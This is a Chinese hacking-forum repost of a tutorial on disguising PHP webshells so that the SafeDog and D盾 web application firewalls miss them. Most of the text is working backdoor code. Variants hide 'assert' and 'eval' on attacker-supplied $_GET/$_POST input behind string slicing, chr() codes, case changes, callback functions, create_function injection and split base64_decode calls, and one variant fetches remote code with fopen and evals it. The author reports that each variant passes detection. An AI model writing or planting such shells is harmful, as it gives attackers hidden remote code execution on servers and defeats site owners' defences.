搜索
查看: 465|回复: 0

对于Php Shell Bypass思路总结

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-11-16 02:03:57 | 显示全部楼层 |阅读模式
原文链接:http://www.inksec.cn/2017/11/06/bypass_shell_4/

Prat 0 自白
在初入Web渗透测试的时候,发现Waf如同无法跨过的鸿沟,每一次学习就是对鸿沟的填充。
借用某大牛对曾经年少的自己说的一句话:
自己真正学到的才是自己的财富!只是一味的盗版,不懂得学习的那叫小学生!
自己新成立了一个团队,名为OneT挺开心的,觉得放出一些自己的学习经验跟想法是及其不错的。
本文文字偏多,如果你潜心看完,相信一句话bypass,对你来说根本不是什么难事。
本文通过三部分来写:起源,一句话Bypass, Php大马Bypass
因为Bypass安全狗可以说是非常简单的,所以本文主要目标以D盾作为绕过基础。
顺便一提:本文中的某个思路或许已经被公布,但是我阅历比较少,并不知道,如果有重复的,可以提出来,贴上地址~
我自己公布的就算了,毕竟这是一篇总结与扩展。
Prat 1 起源
1:建立一个明确的目标
一句话原型:代码执行函数(参数接收);
所以我们不管怎么处理,怎么去优化,最后的代码让他变成原型就可以了。
在学习bypass之前,我建议去了解一下php,这是bypass的开端。
2:大胆的想法
有了目标肯定是远远不够的,不能局限前人的思路,要有自己开阔的思路,可以从前人的思路变种,也可以自己思考。
3:实现自己的目标跟想法
既然以及了解了自己的目标,那么就该一步步的实现它,例如这个函数被查杀了,那么换一个函数呢?换一个函数不行那么换一个写法呢?条条大路通罗马,总有一个是可以的。
Prat 2 一句话Bypass
D盾当时行为库:
首先看一句话原型:
  1. assert($_GET[‘x’]);
复制代码
思路一:字符串截取+回调
首先看一下介绍
  1. Substr() //返回字符串的一部分
  2. Array_map() //将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新值的数组
复制代码
这个思路其实在博客当中就有提过,不过是不过D盾的
  1. <?php
  2.          $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
  3.          $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
  4.          $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
  5.          $ss = $a.$b.$c;
  6.          $d  = $ss[0].$ss[2].$ss[2]; //ass
  7.          $dd = $ss[5].$ss[1].$ss[3]; //ert
  8.          $x = $d.$dd;
  9. $x($_POST['x']);
  10. ?>
复制代码
首先看思路原型:
  1. $a = a //从字符串的第0个字符开始截取,向右截取1个字符
  2. $b = rst //从字符串的第17个字符开始截取,向右截取3个字符
  3. $c = de //从字符串的第17个字符开始截取,向右截取3个字符
  4. $ss = arstde //为三个变量的拼接的来
复制代码
那么过程就很好理解:
  1. $d = ass //分别截取$ss的第0,2,2字符
  2. $dd = ert //分别截取$ss的第5,1,3字符
  3. 最后拼接成assert
复制代码
但是这样只能过狗,不能过D盾

之前就已经说了,这思路行不通,那么在原有的思路在扩展一下呢?
我们来把substr函数返回的assert封装成新的方法,在调用看看效果如何
  1. function test($D)   //定义一个名为test的函数,并使用$D接收参数
  2. {
  3.          $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
  4.          $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
  5.          $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
  6.          $ss = $a.$b.$c;
  7.          $d  = $ss[0].$ss[2].$ss[2]; //ass
  8.          $dd = $ss[5].$ss[1].$ss[3]; //ert
  9.          $x = $d.$dd;
  10.          $x($D);   //assert执行接收的参数
  11. }
  12. test($_GET['x']);  //assert($_GET[‘x’]);
复制代码

虽然还是被杀,不过发现级别已经降低为二级了,他现在杀的只不过是变量而已,也就是
$x($D);
为什么杀呢?因为D盾中不允许这样做,不管你有没有危害都会拦截

可以看见,我里面$d($dd);什么都没有,但是他还是报二级了。
接下来怎么处理呢?还是从原来思路上扩展,既然不允许那就换一个思路,我们采用回调
  1. function test($aa)
  2. {
  3.          $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
  4.          $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
  5.          $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
  6.          $ss = $a.$b.$c;
  7.          $d  = $ss[0].$ss[2].$ss[2]; //ass
  8.          $dd = $ss[5].$ss[1].$ss[3]; //ert
  9.          $x = $d.$dd;
  10.          return $x;   //返回assert
  11. }
  12. $test = test();    //把test()函数存入test变量中
  13. array_map($test,array($_GET['x']));  //array_map函数回调
复制代码
但是发现D盾还是报二级了。

不过这次报的就很好处理了,可以看见,他报的array_map参数里面的东西很可疑,可疑
其实有个很好的办法解决,那就是加个赋值,例如:
array_map($test,array($_GET[‘x’]));我们改为array_map($DD =$test,$d = array($_GET[‘x’]));
我们在测一下

还是报二级,不过别着急,我们把array($_GET[‘x’])先拿出来进行一个赋值在里面在一个赋值
看看会怎么样。

可以发现D盾出奇的不拦截了。

可以正常使用。
思路小结
在字符串返回思路行不通后,可以使用回调来进行一个绕过,在函数里面赋值可以用来解决许多可疑变量。
思路二:字符串截取(变种)+回调
这次思路其实属于换汤不换药。
写之前首先我们要熟悉一下Ascii码表

我们不需要知道这么多,够我们用的就好
  1. 97 = a
  2. 115 = s
  3. 101 = e
  4. 114 = r
  5. 116 = t
复制代码
我们可以写的风骚一点
  1. $a = chr(substr("97115101114116",0,2));
  2. $b = chr(substr("97115101114116",2,3));
  3. $c = chr(substr("97115101114116",2,3));
  4. $d = chr(substr("97115101114116",5,3));
  5. $e = chr(substr("97115101114116",8,3));
  6. $f = chr(substr("97115101114116",11,3));
  7. $x = $a.$b.$c.$d.$e.$f;
  8. $x($_GET['x']);
复制代码
这样当然是不会过D盾的,不过安全狗肯定可以过的。
我们可以依葫芦画瓢用回调来处理。
最终成果:
  1. <?php
  2. function test($aa)
  3. {
  4.                 $a = chr(substr("97115101114116",0,2));
  5.                 $b = chr(substr("97115101114116",2,3));
  6.                 $c = chr(substr("97115101114116",2,3));
  7.                 $d = chr(substr("97115101114116",5,3));
  8.                 $e = chr(substr("97115101114116",8,3));
  9.                 $f = chr(substr("97115101114116",11,3));
  10.                 $x = $a.$b.$c.$d.$e.$f;
  11.                 return $x;
  12. }
  13. $test = test();
  14. $ddd =array($_GET['x']);
  15. array_map($D = $test,$DD = $ddd );
  16. ?>
复制代码

可以正常使用,并且过了D盾。
当然,我们可以写的更简单一点。
  1. <?php
  2. function test($aa)
  3. {
  4. $a =  chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
  5. return $a;
  6. }
  7. $test = test();
  8. $ddd =array($_GET['x']);
  9. array_map($D = $test,$DD = $ddd );
  10. ?>
复制代码
连截取都不要了,但是一样可以正常使用,并且过了D盾。
思路小节
整个过程就跟思路一一摸一样,只不过思路一是直接返回的字符,而这边却加了一层chr而已。
所以可以被称之为变种,换汤不换药。
思路三:chr()+小写转换+回调(变种)
看完思路二,发现还可以根据chr再次扩展。
  1. <?php
  2. /*
  3. 97  =  a    65        =        A
  4. 115 =  s        83        =        S
  5. 101 =  e        69        =        E
  6. 114 =  r        82        =        R
  7. 116 =  t        84        =        T
  8. */
  9.                 $a = chr(65).chr(83).chr(83);//ASS
  10.                 $b = chr(69).chr(82).chr(84);//ERT
  11.                 $c = strtolower($a.$b);//assert
  12.                 $aa = array($_GET['x']);
  13.                 array_map($D = $c,$DD = $aa );
  14. //strtolower(): 该函数将传入的字符串参数所有的字符都转换成小写,并以小定形式放回这个字
  15. //strtoupper(): 该函数的作用同strtolower函数相反,是将传入的字符参数的字符全部转换成大
  16. ?>
复制代码
还是换汤不换药,不过用了大写的Ascii码。
然后使用strtolower函数转换成小写。
思路小结
你可以发现,我是一环环变种的,思路三变种思路二,思路二变种思路一。
可能有人会问我为什么要写变种,其实你可以侧面的理解为,我这是在告诉你:一种思路你可以通过千变万化的思路来扩展。
思路四:create_function函数
看完简单的思路,我们来看一下深一点的思路。
array_flip()//用于反转/交换数组中所有的键名以及它们关联的键值,如果反转成功,则返回反转后的数组。如果失败,则返回 NULL。
首先我们要了解一下create_function函数是如何进行代码注入的(因为这不是本文需要讲的东西,大家可以上百度搜。)
  1. <?php
  2. $a=array(";}$_GET[x];/*"=>"1");
  3. $b=array_flip($a);
  4. $c = $b[1];
  5. create_function('$args',$c);
  6. ?>
复制代码
具体我就不讲了,等你百度完也就差不多知道思路了。
思路小结
有时候可以借着php中一些能做代码执行的函数进行处理就能琢磨出来一大堆Bypass。
思路五:函数回调
之前几种思路都有触及到函数回调,于是决定独立分一波来讲。
array_map()
  1. function a(){
  2.          return 'assert';
  3. }
  4. $a=a();
  5. $aa = array($_GET['x']);
  6. array_map($a,$a=$aa);
复制代码
array_map函数我就不过多的说了,毕竟前面也用到了许多。
call_user_func_array()
  1. function a(){
  2.          return 'assert';
  3. }
  4. $a=a();
  5. $aa = array($_GET['x']);
  6. call_user_func_array($a,$a=$aa);
复制代码
call_user_func_array可以说作用性跟array_map差不多,不过还是有一些不同。
call_user_func()
  1. function a(){
  2.          return 'assert';
  3. }
  4. $a=a();
  5. $aa=$_GET['x'];
  6. call_user_func($a,$a=$aa);
复制代码
用P牛博客上的一句话来说这算是回调后门的老祖宗了。
register_shutdown_function()
  1. $aa=$_GET['x'];
  2. register_shutdown_function('assert',$a=$aa);
复制代码
这个函数其实我也不是很明确,从p牛上看到的,不过博客上的一句话已经不能用了,偷下来做了下处理
思路小结
其实原理都差不多,如果你看不懂,没关系,去看一遍php,回来你就会发现这些是多么的简单,单单一个函数回调就能构造无数轮子。
丢上P牛讲解回调函数轮子的地址
最后总结
一句话的思路千变万化,一个函数可以扩展无数思路。
你只需要大胆的假设,然后大胆的去做就可以了。
Prat 3 Php大马Bypass思路1:base64函数分割+大小写
其实这个思路在上篇bypass文章我就已经做好了铺垫,因为是通用性,所以藏着到这篇文章来发。
  1. <?php
  2. $a = 'base64编码过后';
  3. $c = base64_decode($a);
  4. eval($d = $c);
  5. ?>
复制代码
可以发现,这样D盾是报二级的。所以我们可以稍微处理下。
  1. $x="BaSe64";
  2. $b="_deCOde";
  3. $c=$x.$b; //base64_decode
  4. eval($d = $c('base64编码过后'));
复制代码
明眼人就可以发现,其实我并没有改变多少代码,只是把Base64函数进行分割,然后大小写而已。
从而达到了过D盾的效果。如果没有进行大小写的话是被报二级的。
我想这应该是waf的缺陷导致bypass的原因。
思路2:fopen函数以及php_curl函数fopen()
fopen在之前的文章也有提到过,不过太长,我这里简化一下。
  1. $handle = fopen('http://127.0.0.1/bh/test.txt', 'r');
  2.     $content = '';
  3.     while(false != ($a = fread($handle, 8080))){
  4.         $content .= $a;
  5.     }
  6.                 print(eval($a=$content));
  7. fclose($handle);
复制代码
php_curl()
其实跟fopen函数差不多,不过需要开启特定的函数,有人提过fopen似乎也要,不过在我仅有的shell中我并没发现出错。
因为都差不多,所以我这里也就不详细说了。提一下就好。例子等有机会再写。
总结
用之前的话来说,条条大路通罗马,需要的只是耐心。
需要的只是大胆的假设,需要的只是实践的行动。
话不多说,明白就好。
或许文章看着并不长,案例也不多,也就十几个。
不过我希望看完这篇文章能开启你bypass之路的大门。
也能让你明白bypass并不是很困难。
当然,如果用心读的话(一边动手一边学习)。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表